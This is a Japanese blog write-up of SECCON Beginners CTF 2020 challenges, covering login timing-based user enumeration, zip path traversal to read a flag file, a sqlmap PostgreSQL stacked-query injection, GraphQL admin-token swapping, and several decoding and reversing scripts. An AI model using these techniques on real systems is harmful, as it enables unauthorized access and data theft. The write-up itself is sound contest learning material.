SECCON Beginners CTF 2020 write-up

お疲れさまでした。

一人チームで 最終的に 107位 911ポイント という感じでした nenene

f:id:xlis:20200524142200p:plain

あとはここにダラダラまとめを書いていきます。

Welcome

  • discord に参加してこの発言を見るだけ f:id:xlis:20200524142318p:plain

Spy

  • ID/PASS をいれるか現存する従業員を答えられたらOKなページが有る
  • ログインフォームの実装を見ると こんな感じになっていて、 もし アカウントが存在した場合は SALTを使ってパスワードハッシュを計算してから照合するらしい
        exists, account = db.get_account(name)

        if not exists:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
        # You know, it's really secure... isn't it? :-)
        hashed_password = auth.calc_password_hash(app.SALT, password)
        if hashed_password != account.password:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
  • ということで、 アカウントが存在するかしないかによって処理内容が異なる, 処理時間が異なるということになる
  • 従業員一覧はもらっていたので 適当にこんな感じで回して実行時間を計測した
echo -n "$1 :" 
curl 'https://spy.quals.beginners.seccon.jp/' -X POST -d "name=$1&password=ctf_test" -o /dev/null -s -w "response_time:%{time_total}\n"
Arthur :response_time:0.150510
Barbara :response_time:0.145403
Christine :response_time:0.138758
David :response_time:0.138381
Elbert :response_time:0.480222
Franklin :response_time:0.139945
George :response_time:0.801452
Harris :response_time:0.142561
Ivan :response_time:0.161447
Jane :response_time:0.147389
Kevin :response_time:0.150872
Lazarus :response_time:0.733756
Marc :response_time:0.714385
Nathan :response_time:0.140770
Oliver :response_time:0.138137
Paul :response_time:0.144868
Quentin :response_time:0.169704
Randolph :response_time:0.138809
Scott :response_time:0.151220
Tony :response_time:0.653335
Ulysses :response_time:0.144019
Vincent :response_time:0.140943
Wat :response_time:0.153352
Ximena :response_time:0.536544
Yvonne :response_time:0.708257
Zalmon :response_time:0.147562
  • 明らかに、遅いユーザー名だけをピックアップしてチャレンジ f:id:xlis:20200524142819p:plain

R&B

  • rot13と base64 を繰り返していくだけ
  • 先頭の一文字を見てどちらかをするらしい
for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)
  • ということで、 逆をしたらできた
import base64
import codecs

def decode_enc(target):
    print(target)
    print("\n-----------------------\n")
    if target.startswith('R'):
        decode_enc(codecs.decode(target[1:],'rot13'))
    if target.startswith('B'):
        decode_enc(base64.b64decode(target[1:]).decode())
    return target

f= open('encoded_flag')
enc = f.read()
decode_enc(enc)
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==


-----------------------

BUk9IeDlWclF5RnB4dTVySEU0cUdJbEZSeVZvd09hSTB1NHJLSVJGVEFHRTFXU0FITVZIMXFsSEh1ZUV5RGtFMjl1R3pnV1p4eWVGVXFXSDBNWEgwQVdyUVNLcFJ1S24zV0VHMk1TWjNJWXBLeXdJeGpscEljbEhheWJFR1NPSDBNVkZHTVZaUjFoSmFjYXJScUhIM3FScndIMUZRT2FIUk1WSDJ1aVpUcGtGSHUxTTBxNk0xV2xGMUE1RTB5R0kwcVdMbUFrRTAxTEVHTjVGVU9ZcklxQVpUQTFFUnVXblNiakFKSVRIYXlLRElXQUF4RVdJMXFTb0g0NQ==

-----------------------

ROHx9VrQyFpxu5rHE4qGIlFRyVowOaI0u4rKIRFTAGE1WSAHMVH1qlHHueEyDkE29uGzgWZxyeFUqWH0MXH0AWrQSKpRuKn3WEG2MSZ3IYpKywIxjlpIclHaybEGSOH0MVFGMVZR1hJacarRqHH3qRrwH1FQOaHRMVH2uiZTpkFHu1M0q6M1WlF1A5E0yGI0qWLmAkE01LEGN5FUOYrIqAZTA1ERuWnSbjAJITHayKDIWAAxEWI1qSoH45

-----------------------

BUk9IeDlSckh5eUR4dTVySElIbjBnV0h4eXVESGNTR1JFNUZIU1dyUUhrRlQxR29hTmtJMklrSHdJU0ZKU0NJeDFXcEhXa3JRT2ZFM3VLcXljVkwycVpyUnloRTFBU0ZISTZIME1uWnpneEdUU3dEejU1SDBnUEZIU2hvMGcxSUh1Z0d6Z1JyS1N5R0lTV0dJYzNxR01YRTA5SHBLeVdNMGN1REhJaFowNWVGUnlXQVJNNkRJV1dFbU45

-----------------------

ROHx9RrHyyDxu5rHIHn0gWHxyuDHcSGRE5FHSWrQHkFT1GoaNkI2IkHwISFJSCIx1WpHWkrQOfE3uKqycVL2qZrRyhE1ASFHI6H0MnZzgxGTSwDz55H0gPFHSho0g1IHugGzgRrKSyGISWGIc3qGMXE09HpKyWM0cuDHIhZ05eFRyWARM6DIWWEmN9

-----------------------

BUk9EeUllQkh5eUVUa0tJUklhQUpFTER5SUFJeDUxSG1TbnAxV2VxUjVFSWFPVk1JcUJxeDBsR3hXdlpIY2dMeEluR1NFSUV6U0ZaMmtkTGFjQm55U0tCSUFub0t1VUhtTmtEeXFlTVFJTVp3dTZKR09UcXlJZ0phQUVuM05rSElJNEZ6QVJJRzA9

-----------------------

RODyIeBHyyETkKIRIaAJELDyIAIx51HmSnp1WeqR5EIaOVMIqBqx0lGxWvZHcgLxInGSEIEzSFZ2kdLacBnySKBIAnoKuUHmNkDyqeMQIMZwu6JGOTqyIgJaAEn3NkHII4FzARIG0=

-----------------------

BQlVrOUllRGxXVEVnNWRYQlVNVk51UzFac1JrdE5RVnBIZVdOdk0yTkJiMUptYkVaTFRVRmFSM2xqYnpOalFXOVNabXhHUzAxQldrZDVZMjh6WTBGdlVtWnNRa3AxUVV4SmNEVT0=

-----------------------

BUk9IeDlWTEg5dXBUMVNuS1ZsRktNQVpHeWNvM2NBb1JmbEZLTUFaR3ljbzNjQW9SZmxGS01BWkd5Y28zY0FvUmZsQkp1QUxJcDU=

-----------------------

ROHx9VLH9upT1SnKVlFKMAZGyco3cAoRflFKMAZGyco3cAoRflFKMAZGyco3cAoRflBJuALIp5

-----------------------

BUk9IYU9hcG1FaXIySXZNMTlpb3pNbEsySXZNMTlpb3pNbEsySXZNMTlpb3pNbEsyOWhNYVc5

-----------------------

ROHaOapmEir2IvM19iozMlK2IvM19iozMlK2IvM19iozMlK29hMaW9

-----------------------

BUnBnczRve2ViZ19vbmZyX2ViZ19vbmZyX2ViZ19vbmZyX29uZnJ9

-----------------------

Rpgs4o{ebg_onfr_ebg_onfr_ebg_onfr_onfr}

-----------------------

ctf4b{rot_base_rot_base_rot_base_base}

-----------------------

mask

  • バイナリが渡されて、 なにか入れてOKかNGか出てくるような感じ
  • IDA はわからないので ghidraに打ち込んでデコンパイルしてもらったら 以下の感じ
undefined8 main(int param_1,long param_2)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  int local_e0;
  byte local_d8 [64];
  byte local_98 [64];
  byte local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 == 1) {
    puts("Usage: ./mask [FLAG]");
  }
  else {
    strcpy((char *)local_d8,*(char **)(param_2 + 8));
    sVar2 = strlen((char *)local_d8);
    iVar1 = (int)sVar2;
    puts("Putting on masks...");
    local_e0 = 0;
    while (local_e0 < iVar1) {
      local_98[local_e0] = local_d8[local_e0] & 0x75;
      local_58[local_e0] = local_d8[local_e0] & 0xeb;
      local_e0 = local_e0 + 1;
    }
    local_98[iVar1] = 0;
    local_58[iVar1] = 0;
    puts((char *)local_98);
    puts((char *)local_58);
    iVar1 = strcmp((char *)local_98,"atd4`qdedtUpetepqeUdaaeUeaqau");
    if ((iVar1 == 0) &&
       (iVar1 = strcmp((char *)local_58,"c`b bk`kj`KbababcaKbacaKiacki"), iVar1 == 0)) {
      puts("Correct! Submit your FLAG.");
    }
    else {
      puts("Wrong FLAG. Try again.");
    }
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
  • なので、使いそうなアルファベットの文字列ごとに総当りで 0x75 と 0xeb の mask をかけた結果で比較
q1 = "atd4`qdedtUpetepqeUdaaeUeaqau"
q2 = "c`b bk`kj`KbababcaKbacaKiacki"

#      local_98[local_e0] = local_d8[local_e0] & 0x75;
#      local_58[local_e0] = local_d8[local_e0] & 0xeb;


import string
import binascii

targets="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}"

counter=0
while True:
    for s in targets:
        s_byte = s.encode()[0]
        a1_byte = s_byte & b'\x75'[0]
        a2_byte = s_byte & b'\xeb'[0]
        a1_char = chr(a1_byte)
        a2_char = chr(a2_byte)

        if a1_char == q1[counter] and a2_char == q2[counter]:
            print(s, end='', flush=True)
            counter+=1
    if counter == len(q1):
        print("")
        break
ctf4b{dont_reverse_face_mask}

unzip

  • ディレクトリトラバーサル
  • zip をupload すると その中のファイル名を使って ダウンロードリンクが作られる
  • が、 そのファイル名は 単純にfile_get_contents してるだけなので ../../flag.txt が入ってる zip を作ってリンクを踏めばOK
$user_dir = "/uploads/" . session_id();
// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}
  • なお、 docker-compose も配られたのでなおのこと楽だった
  • ../flag.txt に hogehoge ってファイルが置いてあったけどあれは....?
  php-fpm:
    build: ./docker/php-fpm
    env_file: .env
    working_dir: /var/www/web
    environment:
      TZ: "Asia/Tokyo"
    volumes:
      - ./public:/var/www/web
      - ./uploads:/uploads
      - ./flag.txt:/flag.txt
    restart: always

f:id:xlis:20200524143524p:plainf:id:xlis:20200524143529p:plain

Tweetstore

  • まんまSQLを文字列組み立てしている, flag は db の user名 というのが code からわかります
  • あとは postgres の脆弱性かなにかっぽいんですが sqlman 一発でやってしまったので、write-up 待ちです。
$ python sqlmap.py  --wizard
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.4.5.28#dev}
|_ -| . [']     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 19:36:09 /2020-05-23/

[19:36:09] [INFO] starting wizard interface
Please enter full target URL (-u): https://tweetstore.quals.beginners.seccon.jp/
POST data (--data) [Enter for None]:

[19:36:22] [WARNING] no GET and/or POST parameter(s) found for testing (e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). Will search for forms
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
>

Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
>


sqlmap is running, please wait..

[#1] form:
GET https://tweetstore.quals.beginners.seccon.jp/?search=&limit=
do you want to test this form? [Y/n/q]
> Y
Edit GET data [default: search=&limit=]: search=&limit=
do you want to fill blank fields with random values? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (GET)
    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=sqSq';SELECT PG_SLEEP(5)--&limit=
---
do you want to exploit this SQL injection? [Y/n] Y
[19:36:31] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
back-end DBMS operating system: Linux Debian
back-end DBMS: PostgreSQL
banner: 'PostgreSQL 12.3 (Debian 12.3-1.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit'
current user: 'ctf4b{is_postgres_your_friend?}'
current database (equivalent to schema on PostgreSQL): 'public'
current user is DBA: False

[*] ending @ 19:43:43 /2020-05-23/

profiler

  • js を 難読化解除する必要はないよ!と親切に言ってくれている問題
  • graphql を叩いたのは初めてだったので面白かった
  • アカウント作成後ログインしてプロファイルを見るときに こんなリクエストが流れている
  • f:id:xlis:20200524143818p:plain
  • 形状から graph ql だろうなと判断して 編集して再送信でひたすら頑張ってたけど死にたくなったので、 ちゃんとしたクライアントを使うことに (手打ちで __schema を叩いて content-length でNGを喰らいまくってだいぶ時間を溶かしました)

altair.sirmuel.design

  • js を追ったり graph ql の 使えるmethod 一覧などを取得してると flag というクエリがある、叩くと おまえのtokenじゃだめだぞ!と怒られた、 f:id:xlis:20200524144113p:plain

  • uid: admin ユーザーじゃないと flag は見えないぞ と サイト側で明記されているので uid: admin ユーザーの token に 自分のtoken を更新 f:id:xlis:20200524144217p:plainf:id:xlis:20200524144239p:plainf:id:xlis:20200524144243p:plain

emoemoencode

  • rot13 というかなんというか
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
  • ctf4b{hogehoge} な 形式であるだろうと予測して 絵文字のバイナリ列をながめてると c と b が 1バイト違いだったので、 そのまま ゴリゴリと....
import string
import binascii
import copy


# 🍣 🍴 🍦 🌴 🍢 🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
# c   t  f  4  b  {???

char_c_code = "c".encode()[0]
char_A_code = "A".encode()[0]
char_4_code = "4".encode()[0]
char_0_code = "0".encode()[0]


emoji_c = bytearray(b'\xf0\x9f\x8d\xa3') # 🍣
emoji_4 = bytearray(b'\xf0\x9f\x8c\xb4') # 🌴
emoji_A = copy.copy(emoji_c)
emoji_A[3] -= char_c_code - char_A_code
emoji_0 = copy.copy(emoji_4)
emoji_0[3] -= char_4_code - char_0_code

trans_dict={}

# 数字 0-9
for i in range(0,10):
    try:
        temp=copy.copy(emoji_0)
        temp[3]+=i
        ascii_c=chr(char_0_code+i)
        emoji_c=temp.decode()
        print (emoji_c)
        trans_dict[ascii_c] = emoji_c

    except:
        continue

#alpha? A-z+{|}? 
for i in range(0,100):
    try:
        temp=copy.copy(emoji_A)
        temp[3]+=i
        ascii_c=chr(char_A_code+i)
        emoji_c=temp.decode()
        print (emoji_c)
        trans_dict[ascii_c] = emoji_c

    except:
        continue

print(trans_dict)

with open("emoemoencode.txt") as f:
    emojis = f.read()
    for emoji in emojis:
        for a,e in trans_dict.items():
            if e == emoji:
                print(a, end="", flush=True)
  • 最終的に以下のような対応表が得られるので
{'0': '🌰', '1': '🌱', '2': '🌲', '3': '🌳', '4': '🌴', '5': '🌵', '6': '🌶', '7': '🌷', '8': '🌸', '9': '🌹', 'A': '🍁', 'B': '🍂', 'C': '🍃', 'D': '🍄', 'E': '🍅', 'F': '🍆', 'G': '🍇', 'H': '🍈', 'I': '🍉', 'J': '🍊', 'K': '🍋', 'L': '🍌', 'M': '🍍', 'N': '🍎', 'O': '🍏', 'P': '🍐', 'Q': '🍑', 'R': '🍒', 'S': '🍓', 'T': '🍔', 'U': '🍕', 'V': '🍖', 'W': '🍗', 'X': '🍘', 'Y': '🍙', 'Z': '🍚', '[': '🍛', '\\': '🍜', ']': '🍝', '^': '🍞', '_': '🍟', '`': '🍠', 'a': '🍡', 'b': '🍢', 'c': '🍣', 'd': '🍤', 'e': '🍥', 'f': '🍦', 'g': '🍧', 'h': '🍨', 'i': '🍩', 'j': '🍪', 'k': '🍫', 'l': '🍬', 'm': '🍭', 'n': '🍮', 'o': '🍯', 'p': '🍰', 'q': '🍱', 'r': '🍲', 's': '🍳', 't': '🍴', 'u': '🍵', 'v': '🍶', 'w': '🍷', 'x': '🍸', 'y': '🍹', 'z': '🍺', '{': '🍻', '|': '🍼', '}': '🍽', '~': '🍾', '\x7f': '🍿'}
  • こうなった
ctf4b{stegan0graphy_by_em000000ji}